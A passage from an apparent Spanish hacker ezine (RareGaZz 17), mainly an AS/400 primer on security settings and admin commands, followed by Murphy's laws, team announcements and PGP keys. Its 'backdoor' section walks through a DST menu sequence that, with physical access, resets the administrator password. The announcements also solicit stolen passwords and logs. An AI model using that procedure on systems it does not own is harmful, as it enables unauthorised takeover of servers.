algunas cosas basicas para los que estan iniciandose en este mundillo
de IBM.
Bueno, pues ahi vamos ... el AS/400 es el hermano mayor del S/36 (Sistema
36). A decir verdad el S/36 y el AS/400 varian tanto en la arquitectura
como en el Sistema Operativo. Dentro del 36 tenemos varios modelos de
maquinas y dentro del 400 ocurre exactamente lo mismo. Hoy en dia en S/36
esta obsoleto pero aun hay muchas empresas que lo utilizan ... si hay
alguien interesado, en el proximo numero escribire algun texto sobre
configuracion y seguridad del S/36.
El progreso en cuanto a las redes de AS/400 se puede resumir mas o menos
asi:
1> Simples pantallas conectadas al AS/400 mediante cableado twinaxial
(estas pantallas no tienen procesador ni disco duro ni nada, tan solo
un monitor y un teclado ... por ello son conocidas como 'pantallas
tontas')
El AS/400 tenia un puerto de comunicaciones en el cual se conectaba
una 'zapata' con 4 u 8 bocas pudiendo conectar un maximo de 7 maquinas
en cada boca (7 direcciones).
Logicamente, con un segundo puerto de comunicaciones podriamos conectar
mas pantallas.
2> Luego aparecieron las emulaciones 5250 en PCs. Para ello necesitabamos
unas tarjetas de emulacion a las que conectabamos el cable twinaxial y
actuabamos como si de una pantalla tonta se tratara. La ventaja de usar
un PC en lugar de una pantalla es obvia. Podemos usar la maquina no
solo para el AS/400. Ademas, en emulaciones de windows podemos realizar
mas de una sesion de trabajo con el 400 (con las pantallas cada sesion
ocupaba una direccion).
Las conexiones a traves de emulaciones requieren el protocolo DLC de
microsoft puesto que la conexion con el AS/400 es mediante protocolo
SNA.
3> Mas adelante el 400 incorporaba ademas un puerto ethernet a 10 Mbps lo
que nos permitia realizar conexiones por cable par trenzado y tarjetas
de red en PCs, evitando asi el uso de las tarjetas de emulacion 5250 y
ahorrandonos ademas una pasta.
Hay que decir que las conexiones twinaxiales tambien podian hacerse
mediante cable par trenzado usando unos conversores twiax-par trenzado
llamados balum permitiendonos centralizar el cableado en estrellas
pasivas (una estrella es algo asi como un hub para 400 ... el
funcionamiento de la estrella es mucho mas simple que un hub, pero hago
esta similitud para que os podais hacer una ligera idea de lo que es).
4> Posteriormente IBM tuvo la gran idea de incorporar el protocolo TCP/IP
en sus maquinas permitiendonos asi la conexion desde PCs usando TCP/IP
en lugar de SNA, lo cual nos ahorra algunos problemas y nos ofrece mas
velocidad y mejores prestaciones.
Ademas de SNA y TCP/IP hay otros protocolos que cabe destacar como
AnyNet (el cual puede encapsular TCP/IP bajo SNA y a la inversa) que
nos permite, por ejemplo, realizar conexiones SNA a traves de routers,
encapsulando el SNA bajo TCP/IP ... pero eso es otra historia.
Hay otros temas interesantes sobre el funcionamiento del 400 como los
controladores remotos (para conectar redes LAN a un 400 de forma remota),
configuracion de lineas, controladores, dispositivos, etc pero creo que
nos extenderiamos demasiado asi que me quedare aqui ...
En un sistema de AS/400 cabe destacar una maquina en concreto ... la
consola del sistema. Esta maquina ira conectada a la boca 0 direccion 0 (en
caso de ir por twinaxial) o ira con una conexion RS-232 de un PC a un
puerto de consola en caso de no disponer de twinaxial. Esta maquina sera la
que primero arranque y sobre la que deberemos conectar con el sistema en
caso de acceder en modo restringido (solo esta maquina podra entrar en el
400).
Y hablando un poco de usuarios, solo decir que el administrador del sistema
es el usuario QSECOFR (en un principio con la misma contrase~a, pero como
el AS es una maquina muy segura, al realizar la primera conexion nos obliga
a cambiarla).
3. Encendido y apagado de la maquina
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Normalmente y dado lo que tarda un AS/400 en arrancar todo el sistema y
crear una IPL, el administrador programara la maquina para que se encienda
y se apague a una hora y unos dias determinados, pero nunca esta de mas
saber como funciona el panel de botones que trae el equipo.
Normalmente, a no ser una maquina muy antigua, el display tendra el
siguiente aspecto:
--------
| 01 B N |
--------
Y tendremos varios botones:
- Un boton blanco mas grande que el resto
- Un boton azul que pone INTRO
- Dos botones negros con unas flechas (hacla arriba y hacia abajo)
Pues si le damos a las flechas (botones negros) veremos como en el display
nos desaparece la B y la N (puede que en lugar de estas letras hayan otras)
y nos incrementara o decrementara el numero, dependiendo de si hemos
pulsado la flecha hacia arriba o hacia abajo.
Para aceptar un numero deberemos pulsar el boton azul (el de INTRO) con lo
cual se nos quedara ese numero y nos volveran a salir las dos letras. Pues
bien, si el numero que escogemos es el 02 y luego le volvemos a dar a las
flechas, podremos cambiar las letras. Estas siguen el siguiente orden:
A N
B N
C N
D N
A M
B M
C M
D M
Que son todas estas letras? La de la derecha (M o N) significa que
realizaremos el arranque o apagado en (N)ormal o (M)anual. El significado
de las letras de la izquierda es algo mas complejo. La letra D es para
arrancar desde unidad de cinta o CDROM (en ese orden). La C no tengo ni
idea :) y en cuanto a la A y B ...
Resulta que el AS/400 es una maquina inteligente y cuando nosotros metemos
unos parches de algun programa (conocidos como PTFs) podemos hacerlo de
forma temporal o definitiva. Pues al arrancar en modo B cargaremos todos
los parches y si lo hacemos en modo A cargaremos solo los que esten
aplicados de forma definitiva. Esto nos permite volver a una actualizacion
anterior de un programa en caso de que con esos parches el programador haya
metido la pata (algo que suele pasar con frecuencia
:)
En cuanto a la forma manual o normal solo decir que cada vez que la maquina
se arranca debe realizar una IPL. Si escogemos normal se realiara de forma
automatica. Si elegimos manual nos pedira una serie de valores a medida que
va cargando el sistema. Ademas, en modo manual nos permite entrar en un
menu de configuracion llamado 'Herramientas de Servicio' o DST. Estas
herramientas nos permiten acceder a la configuracion de hardware entre
otras cosas.
Resumiendo, normalmente arrancaremos la maquina como '01 B N' para que se
cree la IPL automaticamente y la apagaremos como '01 B M' ... porque la M?
pues porque la estamos apagando de forma manual y eso hay que 'decirselo' a
la maquina. Para apagarla desde una pantalla o un PC deberemos ser
administradores y escribir:
PWRDWNSYS *IMMED
o
PWRDWNSYS *CTLD
donde:
*IMMED = Inmediato (apagado rapido)
*CTLD = Controlado (apagado con chequeo)
Y ahora la pregunta del millon ... por que he soltado todo este rollo?
pues porque nos va a servir para el punto 5 :PP
4. Configuracion basica para la seguridad del 400
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
El AS/400 tiene varios niveles de seguridad: 10, 20, 30, 40 y en las
maquinas mas modernas nivel 50. Por defecto esta configurado como nivel 30
o 40 y el significado de cada nivel es:
Nivel 10 -> En este nivel la palabra seguridad no tiene ningun sentido.
Cualquier cosa que escribas como usuario te sirve para entrar
al sistema en modo privilegiado (tal y como ocurre en los S/36)
Nivel 20 -> La seguridad del sistema se limita a validar a un usuario y una
contrase~a pero una vez dentro todo el mundo tiene los mismos
privilegios.
Nivel 30 -> Aqui la palabra seguridad ya comienza a tener algo de sentido.
Ademas de necesitar un usuario valido para entrar al sistema,
podremos asignar distintos privilegios entre los mismos.
Nivel 40 -> A~adiendo lo que permite el nivel anterior, ademas la maquina
actuara de forma algo mas atenta realizando chequeos de
integridad y seguridad algo mas estrictos.
Nivel 50 -> Este es el nivel paranoico. Ademas de lo que hace el nivel 40
hay que a~adir mucha mas seguridad, chequeos, restricciones,
etc. No hace falta decir que cuanto mayor es la seguridad mas
lento ira el sistema ...
Independientemente del nivel de seguridad el administrador del sistema debe
tener en cuenta varios detalles antes de conectar su AS/400 a la red. Para
configurar los valores del sistema escribiremos WRKSYSVAL (WoRK SYStem
VALues).
NOTA: si el nivel de seguridad no es muy alto, con un usuario normalillo
podremos visualizar la configuracion aunque sin poderla modificar.
Nos aparecera un listado con un monton de valores a configurar entre los
que cabe destacar:
QMAXSIGN -> Numero maximo de intentos nulos antes de bloquear el acceso
al sistema (normalmente configurado a 3 intentos).
QMAXSGNACN -> Accion a seguir por el sistema en caso de que el usuario
introduzca la contrase~a mal mas de X veces. Por defecto el
sistema deshabilita el dispositivo desde donde hayamos metido
mal el pass y ademas bloquea el usuario lo cual es peligroso
si todos los de la empresa entran con el mismo usuario :)
Hay posibilidad de configurar el sistema para que solo
bloquee el dispositivo (con lo que el administrador te pilla)
o para que solo bloquee el usuario.
QAUTOCFG -> Premite configurar los nuevos dispositivos automaticamente.
Activando esta opcion, si una pantalla o un PC (nuevos para el
sistema) intentan conectarse al 400 les sera permitida la
entrada y ademas se creara un dispositivo nuevo en el sistema
correspondiente a ese PC o pantalla. Por motivos de seguridad
es mejor tener que habilitar los nuevos dispositivos a mano
pero como los administradores son bastante vagos suelen tener
esto habilitado.
QAUTOVRT -> Marca el numero de dispositivos virtuales que pueden conectarse
Esto sirve para el protocolo TCP/IP y delimita el numero de
maquinas que puede haber a la vez en el sistema.
QPWDEXPITV -> Determina el numero de dias tras los cuales el usuario debe
cambiar la contrase~a. En niveles bajos de seguridad viene
por defecto para que no pida nunca cambiarla.
Ademas podremos ver/configurar los usuarios del sistema escribiendo:
WRKUSRPRF (WoRK USeR PRoFiles) o CHGUSRPRF (CHanGE USeR PRoFiles).
Editando la informacion de usuario veremos si pertenece al grupo *SECOFR
(administradores) o *USER (usuario normal).
Otros comandos interesantes son:
WRKDEVD -> Para ver los dispositivos creados en el sistema (pantallas,
PCs, impresoras, etc.
WRKCTLD -> Para ver los controadores (locales o remotos) desde los que
cuelgan los dispositivos.
WRKLIND -> Para ver las lineas creadas en el sistema, pro ejemplo la
ethernet.
GO POWER -> Nos permite ver la planificacion de encendido y apagado de
la maquina.
GO BACKUP -> Para ver la planificacion de las copias de seguridad.
WRKJOBSCDE -> Para ver las tareas planificadas.
WRKSPLF -> Para acceder al spool (siempre es interesante ver los
listados de los demas :)
PRTDEVADR ctlXX -> Para listar la configuracion de los dispositivos
twinaxiales conectados al sistema (donde XX indican
el numero de controlador a donde esta conectada la
zapata de bocas ... 01, 02, etc)
WRKACTJOB -> Para ver los trabajos que estan ejecutandose (como un PS
en Unix).
WRKHDWRSC -> Para ver los recursos de hardware.
GO LICPGM -> Para ver los programas que hay instalados en la maquina.
5. Puertas traseras
~~~~~~~~~~~~~~~~
Supongo que mucha gente habra venido directamente a leer este punto y se
habra saltado todo el rollo .... pues que sepa esa gente que si no
entienden los puntos 2 y 3 esto no les servira de nada :PP
Bien, pues como todas las maquinas el 400 tambien tiene una (o mas) puerta
trasera. Si lo pensais, es algo logico, sino como recuperarias un servidor
del que has perdido la contrase~a del administrador? Pues hay una forma de
resetear la clave del administrador y volverla a poner por defecto
(recordar que el administrador es QSECOFR y su contrase~a por defecto es la
misma).
Para ello deberemos tener acceso fisico al servidor, arrancar la maquina en
modo manual (01 B M) y antes de crear la IPL, cuando nos aparece el menu
escogeremos:
opcion 3 (Herramientas DST)
- ponemos como user/pass: QSECOFR y QSECOFR
opcion 5 (Trabajar con el entorno DST)
opcion 3 (Perfiles de usuario DST)
opcion 4 (Restaurar contrase~a del sistema por omision)
- pulsamos INTRO
- pulsamos F3
opcion 1 (Efectuar IPL) -> para que arranque el sistema
De esta forma cuando termine de arrancar la maquina, podremos entrar con
el usuario administrador poniendo la contrase~a por defecto y tendremos
acceso total al servidor.
NOTA: estas opcines del menu DST corresponden a una maquina con Sistema
Operativo version V4R4. En las versiones mas antiguas e incluso en la
reciente V4R5 tambien esta permitido resetear la contrase~a del
administrador pero aviso que las opciones del menu pueden variar.
6. Despedida
~~~~~~~~~
Espero que este articulo haya servido a alguien y que la gente que lo ha
leido lo haya encontrado interesante. Mi intencion era no incluirlo en
este ezine dado que se me ha echado el tiempo encima pero al final, me he
quitado unas cuantas horas de sue~o y lo he terminado a tiempo.
Saludos a todo el TeaM de RareGaZz (a los actuales miembros, a los nuevos,
a los ya desaparecidos, a sus novias, mujeres, hijos, perros, incluso a los
superjaquers del IRC). Saludos tambien a mis amigos de SET, en especial a
NetBul por haber conseguido en Irlanda lo que tanto tiempo buscamos por
aqui ... jodida telefonica!!! ... por cierto Net, a mi tambien me cayeron
lagrimas al ver la foto ... snif ... lastima no haber compartido esos
momentos de gloria ...
Pues nada ... hasta otra ;)
+------+-------------------------------------------+----------+--------------+
| +-->| El Nuevo Milenio |<---------| RareTrip |
+->|<--> r17_10 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
El departamento de Murphylogia y Ciencias Humanas de RareGaZz
tiene el agrado de presentar su nuevo ensayo titulado
.-- . . . . . -- . . .-. . . -.- . .-- . . -.- .-.
|- | |\ | | | |- | | | | |\/| | | |- |\ | | | |
`-- `-- | `| `-' `-- `.' `-' | | -'- `-- `-- | `| -'- `-'
( o leyes de Murphy II parte )
por RareTrip
Recientemente llegamos a donde quizas muchos no imaginamos que llegariamos.
Tomando en cuenta la cantidad de nuevas drogas disponibles en el mercado y
la velocidad tan rapida en que se crean otras sinceramente muchos dijimos:
"Puta Cabron, sigo asi y al 2000 no llego ma cai!" Pues bien, para aquellos
que pensaron que en el 2000 serian puras cosas bonitas y entretenidas dejen
que les pregunte ¨no ha sido (hasta ahora) el a~o mas aburrido? Lo se. Como
lo dijo Murphy en RareGaZz #5 "si algo puede salir mal, saldra mal" y esto
va para todos los festejos del "nuevo milenio". Ademas, ¨donde carajos estan
los carros voladores? ¨y por que hay que ser verde y bajito para poder
tripular los hasta ahora disponibles? Oh, estas cosas matan mi cabeza.
En fin, los dejamos con este entretenido texto sobre las Leyes de Murphy y
como afectan nuestras cotidianas vidas.
* Nota: En RareGaZz #5 aparecio un texto con otras leyes que nunca fue
concluido. Este texto es un homenaje a aquel.
=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\
LEYES RELACIONADAS CON INTERNET Y COMPUTADORAS
- En Internet todas las computadoras esperan a la misma velocidad.
- Lo probabilidad de que una computadora se "bloquee" es directamente
proporcional a la importancia del documento en el que este usted
trabajando.
- Definiciones:
* Hardware: Partes de la computadora que pueden patearse.
* Software: Partes de la computadora que no funcionan.
* Perifericos: Partes que son incompatibles con su computadora.
* Impresora: Parte del sistema donde se atora el papel cuando
usted no esta observando.
* Cable: Parte demasiado corta.
* Raton: Vea Maldecir.
* Respaldo: Operacion que nunca se realiza a tiempo.
* Memoria: Parte de la computadora que es insuficiente.
* Procesador: Parte obsoleta del sistema de computo.
* Manual: Elemento incomprensible del sistema de computo.
- Si las computadoras llegan a ser demasiado poderosas podemos
organizarlas en sindicatos que las controlen.
- La capacidad de las computadoras se duplica y el precio se reduce
a la mitad cada dieciocho meses.
- El mundo de las computadoras necesita siempre de nuevos cliches.
- La programacion es como el sexo, un error que cometa y usted tendra
que dar apoyo durante toda su vida.
- Es mas sencillo cambiar las especificaciones para que se ajusten al
programa que hacer lo contrario.
- No existe ningun lenguaje de programacion en el que sea un poco mas
dificil escribir programas malos.
- La cantidad de informacion ficticia obtenida en una busqueda se
incrementa exponencialmente con la urgencia de su busqueda.
- El uso adecuado del lenguaje, particularmente la ortografia y la
gramatica, declina conforme avanza la tecnologia.
- Si usted invierte horas para lograr conectarse con un servidor muy
solicitado, entonces la conexion se perdera en cuanto usted logre
el acceso.
- La probabilidad de recibir un mensaje de error mientras se baja un
programa se incrementa conforme se acerca uno al final del proceso.
- si requiere de una hora para bajar un archivo de la red, entonces
alguien de la casa levantara el auricular en el minuto 59.
- Al conectarse con un servidor en i-net, la ruta que seguira sera
la mas indirecta posible.
- Una computadora puede generar tantos errores en 2 segundos como lo
harian 20 hombres en 2 a~os.
- Entre mas necesite usted de una ubicacion en la red, mayor sera la
probabilidad de que esta ya no exista en el servidor.
- No importa que sea lo que usted busque, cuando menos un sitio porno
complacera su criterio de busqueda.
- La inteligencia artificial no hace juego con la estupidez natural.
MURPHYLOGIA
- Si usted sabe que algo puede fallar, y tomas las precauciones
necesarias para evitarlo, entonces algo mas fallara.
- Cuando las cosas fallan en alguna parte, adquieren la capacidad
de fallar en todas partes.
- Nunca faltaran cosas que pueden fallar.
- Si algo se realiza mal con la frecuencia suficiente, entonces ya
puede considerarse bien hecha.
- Cuando las cosas van mal, no vaya con ellas.
- Nunca se sabe lo pronto que ya es demasiado tarde.
- El problema de hacer algo en la forma correcta desde la primera vez
es que nadie aprecia lo dificil que fue realizarlo.
- Ser puntual significa simplemente que el error que se cometa se
cometera a tiempo.
- Los humanos son los unicos animales capaces de regresar sobre sus
pasos para realizar errores que antes habian logrado evitar.
- No existe una forma correcta para cometer un error.
- Primero lo primero, pero no necesariamente en ese orden.
- Si usted sabe lo que esta haciendo, es muy probable que este
aburrido.
- El que usted este aburrido no implica que sepa lo que esta haciendo.
- Se requiere de mas tiempo para realizar algo en la forma correcta
que el que se necesita para justificar por que se hizo mal.
- Entre menos haga, menos puede equivocarse.
- Si supieramos en lo que nos estamos metiendo, nunca nos meteriamos
en nada.
- Para poder aprender de sus errores, primero debe comprender que
esta cometiendolos.
- Si usted no suele acertar a la primera, entonces el vuelo libre con
paracaidas no es su deporte.
- Una planificacion cuidadosa no sustituye la suerte del principiante.
- Nada es a prueba de tontos para un tonto suficientemente talentoso.
PROBLEMATICA GENERAL
- Nada es tan facil como parece en un principio.
- La experiencia le permite a usted cometer errores nuevos en lugar
de los ya cometidos.
- Siempre es sencillo apreciar la perspectiva desde ambos lados
cuando no estamos directamente implicados en la situacion.
- Es sencillo encontrar la solucion a los problemas de otra persona.
- Usted no puede recuperarse de un problema que no ha tenido.
- Encontrar a un culpable es casi tan bueno como encontrar una
solucion.
- Si usted esta en un hoyo, deje de excavar.
- El hombre siempre esta listo para morir por una idea, siempre y
cuando la idea no sea suficientemente clara para el.
- Si deja de pensar, recuerde volver a empezar.
- Es mucho mas sencillo sugerir soluciones cuando no se sabe nada
del problema.
EXPERTOLOGIA Y ACADEMIOLOGIA
- Busque simplicidad, y desconfie de ella.
- La indecision es la llave de la flexibilidad.
- Una peque~a impresion puede evitar toneladas de explicaciones.
- La explicacion mas sencilla es decir que eso no tiene sentido.
- Un experto es aquel que ha cometido todos los errores posibles en
una peque~a area de conocimiento.
- Adivine correctamente 3 veces consecutivas y quedara reconocido
como experto.
- Todo tiene sentido, cuando usted no piensa en ello.
- Los demas no pueden estar de acuerdo con usted si usted no esta
de acuerdo con ellos.
- No es necesario comprender un tema para discutir sobre el.
- Una simple verdad puede desmoronar un buen argumento.
- La gente creera cualquier cosa si usted la murmura.
- Primero conozca la verdad, despues podra distorsionarla tanto como
le plazca.
- Aquellos que escriben con claridad tienen lectores. Aquellos que
escriben en forma oscura tienen quien los comente.
- Si usted no sabe la respuesta, alguien le hara la pregunta.
- Los politicos de una universidad son malignos a causa de que el
riesgo es muy peque~o.
- Aquellos que rehusan aprender del pasado estan predestinados a
reprobar la materia de historia.
- Es imposible que alguien aprenda aquello que piensa que ya sabe.
- Nunca digas todo lo que sabes.
=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\
Dedicado a la bella Anne O. quien espero me lea por alla en la ciudad de
Euzkadi cerca de Francia. Si alguien la conoce dadle un beso por mi...mejor
No! Prefiero darselo yo mismo.
=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\
Es todo por este numero, si les gusta escriban pidiendo mas a mi direccion
de email RareTrip@CyberDude.com
Nota: No han sido creaciones originales de RareTrip o RareGaZz, estas leyes
han sido conseguidas de distintas partes incluyendo aquellas publicaciones
impresas donde suelen explicar las leyes de Murphy. Para mas informacion lee
los libros de Arthur Bloch o escribe a raretrip solicitando que siga
pirateando al antes mencionado autor :)
+------+-------------------------------------------+----------+--------------+
| +-->| PANDEMONIUM |<---------| RareGaZz |
+->|<--> r17_11 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
PANDEMONIUM: m. Capital imaginaria del infierno. || Fig. Sitio donde
hay mucho ruido y agitacion.
En esta seccion se expondran asuntos referentes a RareGaZz, llamese
anuncios, peticiones, saludos, etc, etc. De igual manera, cada uno de los
integrantes de RareGaZz-Team tendra libertad de plasmar en codigos ASCII,
lo que crea conveniente.
<- Advertencia ->
RareGaZz Team, no se hace responsable de las opiniones aqui vertidas
por algunos de los integrantes del Team.
<- Advertencia ->
|
+---> Sobre RareGaZz Team, tenemos nuevas incorporaciones:
RareTrip ( Generador de RareGaZz, nuevamanete con nosotros. ) :X
Alt3kx_h3z ( Para aquellos despistados, tambien integrante del Team de
RaZa Mexicana. ) :O
Ocsic
ReYDeS ( Que mania de mezclar ( MAY/min )usculas ) :P
y0ni
Yo_Soy ( El nick lo dice todo El_Es. ) :D
|
+---> Ante la perdida de nuestro antiguo dominio en acapulco. RareTrip se
autoencomendo la labor de conseguir un sitio en donde alojar nuestra
web. Recuerdenlo bien... dirigiros a:
http://dkch.net/raregazz/
http://raregazz.dkch.net/
|
+---> Agradecimientos a nuestros compa~eros de Raza Mexicana; por darnos un
espacio temporal en su web, y alojar alli las 16 ediciones anteriores de
RareGaZz. La direccion temporal es:
http://www.raza-mexicana.org/raregazz
|
+---> Lista de Correo Moderada: RareDudeZ
Si deseais estar al tanto de lo que acontece con RareGaZz o teneis
alguna duda sobre este mundillo; os invitamos a subscribirse a nuestra
lista moderada; siguiendo las siguientes pautas.
Para Subscribirse:
Enviad un mail vacio a: raredudez-subscribe@onelist.com , O
Colocar en su navegador: http://www.onelist.com/subscribe.cgi/raredudez
Para Desusbcribirse:
Enviad un mail vacio a; raredudez-unsubscribe@onelist.com
Desde la Web de onelist http://www.onelist.com
*NOTA* Los mails enviados a la lista solicitando (DE)SUBscribciones
seran filtrados y totalmente ignorados por el moderador.
|
+---> Para aquellos que deseen escribir algun articulo para RareGaZz,
por favor; sirvanse enviar el TEMA y una descripcion del articulo para
su aprobacion; luego esperen nuestra confirmacion. No deseamos que nadie
trabaje para nada.
|
+---> De igual manera; aquellos que deseeis coloborar de alguna otra manera
con RareGaZz; no teneis mas que escribirnos a nuestra direccion de
correo.
RareGaZz-Ezine@Bigfoot.com
|
+---> Gustosos recibiremos, passwords, logs y todo aquello que creais, nos
puede ser de interes. Solo recordar usar siempre nuestra llave PGP
cuando nos envien informacion "sensible".
|
+---> RareGaZz Team, tiene la intencion de aceptar nuevos miembros. Solo deben
cumplir como minimo, un par de requisitos:
Ganas de Trabajar y Dedicacion exclusiva a RareGaZz.
Si cumples estos requisitos y crees que puedes formar parte de RareGaZz;
envianos un e-mail con vuestro curriculum vitae. Vacantes Limitadas :)
|
+---> Un beso y abrazo a todas las "chikas" bellas que leen el zine en
especial a mis amigas mafersura/laura_voch/maribesa de su amigo
RareTrip.
|
+---> Un saludo a todos nuestros lectores y solo decir que este verano hare
un viajecito a Mexico ... a ver si organizais una peque~a quedada y nos
emborrachamos juntos :) ... GuyBrush.
|
+---> Saludar a mis amigos Peruanos. Y decirles que espero tener mensajes
vuestros en mi buzon de correo. ReYDeS. :->
Nota Mental:
- Por algo tiene el nombre; PANDEMONIUM!
+------+-------------------------------------------+----------+--------------+
| +-->| Llaves PGP |<---------| RareGaZz |
+->|<--> r17_12 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
Aqui teneis las llaves pgp; tanto de los 'antiguos' integrantes de
RareGaZz; como de aquellos incorporados desde la publicacion de RareGaZz 16.
Es importante encriptar los mensajes. La criptografia hace un mundo
un poco mas seguro. Todo hace crack!!!, pero al menos que les de un poco de
trabajo. :-)
RareGaZz // RareGaZz-Ezine@Bigfoot.com
<++> R17/PGP/RareGaZz.asc
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3ia
mQENAzfpkq8AAAEIAL35iW/14Icw0kaHzkmJ1abFWa8SZ/cnYmbfVtyEuht8KXGd
2g5C+eZIr3OI+/AeD33zqui7GWqrQxI0ulEQBrmK0lqp4eedY1620wvY/1t2THIu
BlaACgR5Ru6tQVF92JmsfDjBEjpG4/aHhMUutkTlMSe+RgBi149MRGh8Hbi7fDQ/
g6YA256Hn5/R9LOi4JwbWuIW9R3W2/Yl+Z3QQEWRh3xR/e0gBluiAQpbar6+r4LI
AsXp4QfeIsqWcn/J7jeWgH8+y/z415ndw9CcDETsCtEk4HhJUWJnb0sO6wBgL5FJ
ddwuB+2cE4h1N4xYHDbiPT56H8fY/+WLkfjIwD0ABRG0HVJhcmVHYVp6IDxyYXJl
Z2F6ekBpbmFtZS5jb20+iQEVAwUQN+mSr//li5H4yMA9AQG7uAf9GuiROc5NRfci
m704KKCVD6DlbuxBTe/B7admloV3MlCQf9lhwvWPFVP6qkOBDnErlRhTyQOFjR0K
t3alJxrIPsQBs1wArYUJJ3csB6O2N7i+DX5YzhORH+u5dOzTLZ5/tV1pfY94Ot/S
vC/z8YOT3xdZ4IZJ4R5LUw2DBAmu1s7usijuhxr5EVaYMZVZt2DNKpUSo45fVg+U
rtbWHJLcA36cDMQuYkEhkJ7Td0f2NdJRK61RjDZA8TgEbRbsQ6xAai2KxNHTlpx/
23y8EwylUEBlNmK8GdazbN/n3y2RYV3+8NhMSl4eDVVVXOe6XM4VNEsveem2biXJ
cTBQI5bdoA==
=+Mb1
-----END PGP PUBLIC KEY BLOCK-----
<-->
RareTrip // raretrip@cyberdude.com
<++> R17/PGP/RareTrip.asc
pub 1024 0xB04E4C56 2000-03-23 ---------- DSS Sign & Encrypt
sub 4096 0x216A718B 2000-03-23 ---------- Diffie-Hellman
uid You know who I am... <and my email.>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
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
WHMHQZltpgCgwcP9wZMsu2M3mc4rDOOTd+haE80=
=hvqd
-----END PGP PUBLIC KEY BLOCK-----
<-->
GuyBrush // guybrush@cyberdude.com
<++> R17/PGP/GuyBrush.asc
pub 2048 0x95896067 1999-08-24 ---------- RSA Sign & Encrypt
uid GuyBrush <guybrush@cyberdude.com>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
mQENAzfClxwAAAEIALxc0/GQYe+i2yu0/Szk1skW9xg+4MLMvvBUcmSdHxLBjw4A
